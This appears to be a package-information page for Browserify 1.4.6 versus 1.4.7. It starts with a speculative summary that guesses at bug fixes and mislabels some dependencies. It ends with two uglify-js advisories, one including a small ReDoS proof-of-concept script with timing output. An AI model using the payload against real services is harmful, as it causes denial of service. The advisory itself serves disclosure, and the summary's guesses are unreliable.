Browserify, a tool for using Node.js-style require() in the browser, saw a minor version update from 1.4.6 to 1.4.7 in early September 2011. Both versions provide the core functionality of enabling browser-side module loading, allowing developers to organize JavaScript code into reusable modules and leverage npm packages directly within their web applications. Examining the package data reveals the dependency list remained unchanged between the two versions. Essential modules like nub, resolve, optimist, commondir, detective, and coffee-script continue to provide underlying support for Browserify's module resolution, dependency management, and command-line argument parsing. Similarly, development dependencies, including testing frameworks such as seq, jade, dnode, jsdom, connect, hashish, backbone, expresso, traverse, and jquery-browserify, were also consistent across both versions, suggesting no major shifts in testing or build processes.
Given the unchanged dependencies and the minor version bump, it's reasonable to infer that version 1.4.7 likely included bug fixes, performance improvements, or minor enhancements without altering the core API or introducing new features. Developers upgrading from 1.4.6 to 1.4.7 would primarily benefit from increased stability and potentially improved efficiency. While the specific details of these internal improvements are not explicitly outlined in the metadata, the update signifies a commitment to maintaining a robust and reliable tool for browser-side module management. The update happened 4 days after the previous one, so probably it contains some bug fixes to the v1.4.6.
All the vulnerabilities related to the version 1.4.7 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.